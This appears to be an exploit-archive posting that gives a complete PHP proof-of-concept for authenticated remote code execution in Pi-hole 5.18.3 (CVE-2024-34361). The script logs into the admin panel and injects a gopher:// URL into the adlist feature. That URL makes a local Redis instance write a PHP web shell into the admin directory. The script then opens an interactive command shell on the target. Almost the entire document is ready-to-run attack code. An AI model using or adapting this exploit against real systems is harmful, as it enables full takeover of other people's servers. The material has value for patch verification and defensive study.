============================================================================================================================================= | # Title : Pi-hole 5.18.3 via Redis & Gopher Abuse Authenticated Remote Code Execution | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://pi-hole.net/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212922/ & CVE-2024-34361 [+] Summary : This PHP script is an authenticated RCE exploit targeting Pi-hole’s web admin interface. It requires valid administrator credentials to log in, obtain a CSRF token, and abuse the adlist management feature by injecting a crafted gopher:// URL. The payload forces the server to interact with a local Redis instance, write a malicious PHP file into the admin directory, and ultimately enable arbitrary command execution through a web shell. The attack is post-authentication and becomes critical when credentials are compromised, leading to full system control. [+] POC : php poc.php https://target.com adminpassword base_url = rtrim($base_url, '/'); $this->password = $password; $this->session = curl_init(); // Configure CURL curl_setopt($this->session, CURLOPT_RETURNTRANSFER, true); curl_setopt($this->session, CURLOPT_FOLLOWLOCATION, true); curl_setopt($this->session, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($this->session, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($this->session, CURLOPT_COOKIEJAR, 'cookies.txt'); curl_setopt($this->session, CURLOPT_COOKIEFILE, 'cookies.txt'); curl_setopt($this->session, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); } private function http_request($url, $method = 'GET', $data = null, $headers = []) { curl_setopt($this->session, CURLOPT_URL, $url); curl_setopt($this->session, CURLOPT_CUSTOMREQUEST, $method); $default_headers = [ 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language: en-US,en;q=0.5', 'Connection: keep-alive', ]; $all_headers = array_merge($default_headers, $headers); if ($method === 'POST' && $data !== null) { curl_setopt($this->session, CURLOPT_POSTFIELDS, http_build_query($data)); $all_headers[] = 'Content-Type: application/x-www-form-urlencoded'; } curl_setopt($this->session, CURLOPT_HTTPHEADER, $all_headers); $response = curl_exec($this->session); $http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE); return [ 'code' => $http_code, 'body' => $response, 'headers' => curl_getinfo($this->session, CURLINFO_HEADER_OUT) ]; } public function login() { $url = $this->base_url . '/admin/login.php'; $data = ['pw' => $this->password]; $response = $this->http_request($url, 'POST', $data); if (strpos($response['body'], 'Wrong password') !== false) { echo "[!] Login failed. Incorrect password.\n"; return false; } echo "[+] Login successful\n"; return true; } private function extract_csrf_token($html) { // Try to find CSRF token in HTML if (preg_match('/]*id="token"[^>]*value="([^"]+)"/i', $html, $matches)) { $token = $matches[1]; } elseif (preg_match('/]*name="token"[^>]*value="([^"]+)"/i', $html, $matches)) { $token = $matches[1]; } elseif (preg_match('/"token"\s*:\s*"([^"]+)"/', $html, $matches)) { $token = $matches[1]; } else { echo "[!] CSRF token not found\n"; return null; } echo "[+] CSRF Token obtained: " . substr($token, 0, 20) . "...\n"; return $token; } public function access_adlists() { $url = $this->base_url . '/admin/groups-adlists.php'; $response = $this->http_request($url); if ($response['code'] == 200) { $this->csrf_token = $this->extract_csrf_token($response['body']); return $this->csrf_token !== null; } else { echo "[!] Error accessing groups-adlists. Status code: " . $response['code'] . "\n"; return false; } } public function add_payload() { if (!$this->csrf_token) { echo "[!] No CSRF token available\n"; return false; } $url = $this->base_url . '/admin/scripts/pi-hole/php/groups.php'; // Gopher payload for Redis RCE $payload = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2419%0D%0A/var/www/html/admin%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A'; $data = [ 'action' => 'add_adlist', 'address' => $payload, 'comment' => '', 'token' => $this->csrf_token ]; $headers = [ 'X-Requested-With: XMLHttpRequest', 'Accept: application/json, text/javascript, */*; q=0.01', 'Origin: ' . $this->base_url, 'Referer: ' . $this->base_url . '/admin/groups-adlists.php', ]; $response = $this->http_request($url, 'POST', $data, $headers); if ($response['code'] == 200) { echo "[+] Payload sent successfully\n"; echo "[+] shell.php should be dropped at /admin/shell.php\n"; return true; } else { echo "[!] Failed to send payload. Status code: " . $response['code'] . "\n"; return false; } } public function execute_payload() { $url = $this->base_url . '/admin/scripts/pi-hole/php/gravity.sh.php'; $headers = [ 'Accept: text/event-stream', 'Cache-Control: no-cache', 'Referer: ' . $this->base_url . '/admin/gravity.php', ]; $response = $this->http_request($url, 'GET', null, $headers); if ($response['code'] == 200) { echo "[+] Gravity update triggered\n"; return true; } else { echo "[!] Failed to trigger gravity update. Status code: " . $response['code'] . "\n"; return false; } } public function test_shell() { $url = $this->base_url . '/admin/shell.php?cmd=id'; $response = $this->http_request($url); if (strpos($response['body'], 'uid=') !== false) { echo "[+] Shell is working! Command output:\n"; echo $response['body'] . "\n"; return true; } else { echo "[!] Shell test failed\n"; if ($response['code'] == 404) { echo "[!] shell.php not found (404)\n"; } return false; } } public function interactive_shell() { echo "\n[+] Entering interactive shell mode\n"; echo "[+] Type 'exit' to quit\n\n"; while (true) { echo "shell> "; $cmd = trim(fgets(STDIN)); if ($cmd === 'exit' || $cmd === 'quit') { break; } if (empty($cmd)) { continue; } $url = $this->base_url . '/admin/shell.php?cmd=' . urlencode($cmd); $response = $this->http_request($url); echo $response['body'] . "\n"; } } public function cleanup() { // Remove the shell $url = $this->base_url . '/admin/shell.php?cmd=rm%20-f%20' . urlencode($this->base_url . '/admin/shell.php'); $this->http_request($url); echo "[+] Shell cleaned up\n"; } public function run() { echo "[*] Starting Pi-hole exploit\n"; echo "[*] Target: " . $this->base_url . "\n"; if (!$this->login()) { return false; } if (!$this->access_adlists()) { return false; } if (!$this->add_payload()) { return false; } if (!$this->execute_payload()) { return false; } // Wait for gravity update to complete echo "[*] Waiting 5 seconds for gravity update...\n"; sleep(5); if ($this->test_shell()) { $this->interactive_shell(); $this->cleanup(); } return true; } public function __destruct() { if (is_resource($this->session)) { curl_close($this->session); } // Clean up cookie file if (file_exists('cookies.txt')) { unlink('cookies.txt'); } } } // Command line interface if ($argc < 3) { echo "Usage: php " . basename(__FILE__) . " \n"; echo "Example: php poc.php https://pihole.example.com admin123\n"; exit(1); } $base_url = $argv[1]; $password = $argv[2]; $exploit = new PiHoleExploit($base_url, $password); $exploit->run(); ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================